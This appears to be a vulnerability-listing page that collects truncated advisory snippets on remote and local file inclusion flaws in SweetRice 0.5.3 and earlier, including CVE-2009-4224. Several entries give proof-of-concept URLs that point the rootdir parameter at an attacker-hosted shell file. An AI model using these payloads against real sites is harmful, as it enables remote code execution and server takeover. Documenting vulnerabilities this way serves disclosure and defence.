SweetRice <= 0.5.3 - Remote File Include Vulnerability

No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg SweetRice = 0.5.0 Remote File Include Vulnerability Download Script : http://php.opensourcecms.com/scripts/redirect/download.php?id=353 Dork : dielamers attempt; :P Vuln : ./sweetrice/plugin/subscriber/inc/post.ph...

CVE-2009-4224

Multiple PHP remote file inclusion vulnerabilities in SweetRice 0.5.4, 0.5.3, and earlier allow remote attackers to execute arbitrary PHP code via a URL in the rootdir parameter to 1 plugin/subscriber/inc/post.php and 2 as/lib/newsmodify.php...

SweetRice 0.5.3 Remote / Local File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg SweetRice PoC : http://target/path/plugin/subscriber/inc/post.php?rootdir=http://attacker/shell.txt??? RFI Vuln : ./sweetrice/as/lib/newsmodify.php line 2 PoC : http://target/path/as/lib/newsmodify.php?rootdir=http://attacker/shell.txt??? LFI Vuln ...

SweetRice 0.5.3 - Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg SweetRice PoC : http://server/plugin/subscriber/inc/post.php?rootdir=http://attacker/shell.txt??? 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...

SweetRice 0.5.3 - Remote File Inclusion

SweetRice 0.5.3 - Remote File Inclusion Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg SweetRice PoC : http://server/plugin/subscriber/inc/post.php?rootdir=http://attacker/shell.txt??? 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...